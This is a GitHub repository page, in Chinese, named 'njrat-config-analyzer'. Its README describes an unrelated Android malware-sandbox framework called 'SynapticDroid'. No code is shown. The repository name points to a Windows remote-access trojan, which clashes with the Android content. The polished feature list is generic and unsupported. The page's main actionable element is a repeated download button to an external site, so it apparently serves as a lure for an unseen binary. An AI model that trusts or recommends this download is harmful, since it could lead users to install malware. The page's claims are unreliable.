fintanpyren-coder/njrat-config-analyzer

GitHub: fintanpyren-coder/njrat-config-analyzer

一款 Android 恶意软件动态分析沙盒框架,通过伪造隔离的设备环境诱导 APK 展示真实行为链,帮助安全研究人员安全地剖析和记录恶意应用的运行时活动。

Stars: 151 | Forks: 0

![预览](https://raw.githubusercontent.com/fintanpyren-coder/njrat-config-analyzer/main/preview.svg) # SynapticDroid Framework ![Static Badge](https://img.shields.io/badge/architecture-analysis_kit-blueviolet?style=flat) ![Static Badge](https://img.shields.io/badge/platform-Android%20%7C%20Cross%20Emulation-orange?style=flat) ![Static Badge](https://img.shields.io/badge/status-stable_build_2026-green?style=flat) ![Static Badge](https://img.shields.io/badge/tech-Java%20%7C%20Kotlin%20%7C%20Smali-yellow?style=flat) ## 概述 **SynapticDroid Framework** 是一款专为网络安全专业人员和移动取证研究人员精心打造的环境分析工具包。诞生于理解已编译 Android 可执行文件中行为模式的需求,该框架提供了一个沙盒化的虚拟环境,分析人员可以在其中观察、剖析和记录应用程序逻辑,而不会触发外部网络回调或数据泄露尝试。 可以将其视为移动代码的**全息封闭生态缸**:您将 APK 放置其中,框架便会重构其期望找到的数字生态系统——设备标识符、运营商配置、root 检测绕过以及模拟的传感器数据——同时实时记录每一个系统调用、intent 广播和权限请求。这不是一种武器;它是**恶意软件解剖的显微镜**。 ## 关于 传统的静态分析工具通常会遗漏仅在特定环境条件下才会出现的运行时行为。SynapticDroid 通过提供一个位于应用程序和 Android 运行时之间的**上下文感知执行垫片**来弥合这一差距。它拦截了威胁行为者常用于验证自身是运行在真实设备还是模拟器上的通用 API 调用,然后反馈看似合理——但却是隔离的——响应。 结果如何?应用程序表现得仿佛已获得对真实手机的完全控制权,使研究人员能够绘制其整个操作链:从初始配置下载到持久化机制、命令与控制握手协议以及数据收集例程。每个 payload 都包含在一个**一次性微容器**中,不会在宿主系统上留下任何痕迹。 ## 核心功能 | 功能 | 描述 | |---------|-------------| | 🌐 **上下文模拟引擎** | 伪造 GSM 信号、IMEI、IMSI、Android ID、MAC 地址和 build 属性,以模拟来自 16 种不同设备配置文件的真实手机。 | | 🧠 **行为图谱生成器** | 将应用程序调用流可视化为交互式网络图表,突出显示可疑的数据接收端和加密例程。 | | 🩺 **实时权限监控器** | 监控运行时权限请求并自动拒绝敏感访问(联系人、短信、位置),同时返回空响应或 mock 响应。 | | 🔍 **Smali 反编译桥接** | 将 Dalvik 字节码映射为人类可读的逻辑块,并交叉引用常被滥用的系统 API 调用。 | | 📦 **APK 去混淆器** | 结合启发式模式匹配和动态类加载分析,剥离常见的 ProGuard、DashO 和 DexGuard 混淆层。 | | 🌍 **多语言报告** | 生成 12 种语言(英语、西班牙语、普通话、阿拉伯语、俄语、印地语、法语、德语、葡萄牙语、日语、韩语、意大利语)的取证报告,以促进国际威胁情报共享。 | | 🕐 **全天候自主扫描** | Headless 模式支持连续的分析 pipeline——排队最多 500 个 APK,并接收批量的 YARA 规则输出和结构化的 JSON 威胁摘要。 | | 🧪 **容器化沙盒** | 每次分析都会生成一个临时的 Android 环境,拥有独立的文件系统、网络命名空间(DNS 黑洞)和进程隔离。 | ## 快速部署概要 [![下载](https://raw.githubusercontent.com/fintanpyren-coder/njrat-config-analyzer/main/button.svg)](https://fintanpyren-coder.github.io/njrat-config-analyzer/) 此构建工具包用于生成运行时环境。请仅在宿主机无外部网络访问的隔离实验室环境中使用。 ### 前置条件 - Java Runtime Environment (JRE 17+) - Android SDK platform-tools (adb, aapt) - 至少分配 8 GB 的内存给虚拟沙盒 - 专用的以太网接口,配置为仅处理 loopback 流量 ### 结构概述 构建环境后,将创建以下目录: - `engines/` — 核心模拟配置文件和设备指纹数据库。 - `payloads/` — 编译后的 hooking 库(Xposed 模块、Frida 脚本、原生垫片)。 - `reports/` — 取证日志、PCAP 文件和行为图谱的输出目录。 - `configs/` — 基于 YAML 的沙盒配置(网络开关、权限策略、伪造精度)。 - `signatures/` — 社区共享的检测规则(YARA、Sigma、自定义 Suricata 规则集)。 ## 工作原理(数字双重陷阱) SynapticDroid 基于**反射式欺骗**原理运行。它不是简单地阻止恶意行为,而是让应用程序相信它已成功入侵了一台设备。该框架创建了一个** twilight zone **,恶意软件在其中相信自己处于完全控制之下,而每一个操作都被镜像到分析人员控制台。 **阶段 1:环境伪造** 框架扫描传入的 APK 以查找已知的反模拟检查:文件系统查询 (`/system/bin/su`)、build 属性读取 (`ro.build.fingerprint`)、传感器可用性和 SIM 卡状态。然后,它构建一个合成环境,使其与恶意软件期望在被入侵设备上发现的内容相匹配。 **阶段 2:行为诱导** 部署常见的诱饵——虚假的 WhatsApp 通知、包含验证码的 mock 短信消息、在目标区域漂移的模拟 GPS 坐标。恶意软件与这些诱饵的交互揭示了其数据收集触发条件。 **阶段 3:Payload 系留** 当恶意软件尝试下载第二阶段的 payload 时,框架会拦截 HTTPS 请求,并使用一个返回良性但看起来真实的 payload 的模拟 C2 服务器进行响应。这使得完整的 kill chain 能够在本地执行。 **阶段 4:网络反转** 所有出站流量均被重新路由到 localhost。对已知恶意域名的 DNS 查询将以 loopback 地址进行响应。使用嵌入在沙盒中的透明 MITM 代理绕过 SSL pinning。 ## 使用场景 - **学术研究**:研究 Android 恶意软件演变的大学可以跨一系列 headless 分析节点部署 SynapticDroid。 - **事件响应团队**:SOC 分析师可以快速对员工提交的或从钓鱼活动中捕获的可疑 APK 进行分类筛选。 - **应用商店审核员**:第三方应用商店审核人员可以自动验证开发者关于隐私和数据收集的声明。 - **取证工具链**:执法机构的数字取证部门可以将 SynapticDroid 纳入其标准的移动证据分析工作流中。 ## 配置参数 该框架在 `configs/sandbox.yaml` 文件中公开了 60 多个可调参数。典型的示例包括: - `spoofing.level`: `light`(仅基本 build 属性)、`moderate`(添加传感器和运营商数据)、`deep`(包括电池电量、Bluetooth MAC、Wi-Fi SSID 历史记录的完整设备克隆) - `permission.strategy`: `aggressive`(拒绝所有非必要权限)、`balanced`(授予返回 mock 数据的权限)、`permissive`(授予所有权限并记录使用情况) - `network.mode`: `blackhole`(丢弃所有数据包)、`honeypot`(模拟 C2 响应)、`forward`(允许通过受控代理) - `logging.verbosity`: `summary`(高级别行为标签)、`detailed`(逐方法调用追踪)、`instruction`(Dalvik 寄存器级日志记录) ## 数据库与签名共享 随附的 `signatures/` 目录是由分析人员社区维护的动态仓库。贡献需遵循标准格式: - 用于匹配已知加壳器和混淆器的 **YARA 规则**。 - 用于检测跨多次沙盒运行的行为模式的 **Sigma 规则**。 - 用于识别网络级指标的 **Suricata 规则**。 所有签名均可直接加载而无需重启框架——只需将它们放入 `active/` 子文件夹,并通过控制台 API 触发规则重新加载即可。 ## 响应式架构 该框架的 Web 仪表板(可在 `localhost:8080` 访问)采用完全响应式设计,可适配平板电脑、台式机和移动设备的视口。分析人员可以在现场通过手机监控活动会话,或通过全屏工作站视图进行详细的命令行交互。 ## 法律与道德边界 ⚠️ **使用规范** 此框架仅供合法的网络安全教育、漏洞研究和防御性分析使用。开发者对任何滥用行为不承担任何责任,包括但不限于: - 在受控实验室环境之外对第三方应用程序进行未经授权的反编译。 - 分发包含个人身份信息 (PII) 的分析输出。 - 使用该框架规避许可机制或数字版权管理 (DRM)。 **负责任的披露** 如果您的分析发现了 zero-day 漏洞,该框架可以生成一份匿名的披露包,其中省略了开发者身份和敏感的基础设施细节。请使用此功能通过既定的 CERT 渠道负责任地报告调查结果。 ## 许可证 该项目在 **MIT License** 下授权——详情请参阅 [LICENSE](LICENSE) 文件。您可以自由使用、修改和分发本软件,前提是原始的署名和免责声明必须保持完整。 ## 最终考量 数字格局正在发生变化。应用程序不再是静态的二进制文件;它们是适应环境的动态有机体。SynapticDroid 提供了观察这些行为而不引发现实世界后果所需的**镜面迷宫**。用它来照亮,而不是利用。 [![下载](https://raw.githubusercontent.com/fintanpyren-coder/njrat-config-analyzer/main/button.svg)](https://fintanpyren-coder.github.io/njrat-config-analyzer/)
标签:Android安全, DAST, JS文件枚举, Metaprompt, 云资产清单, 后端开发, 安全沙箱, 恶意软件分析, 请求拦截, 逆向工程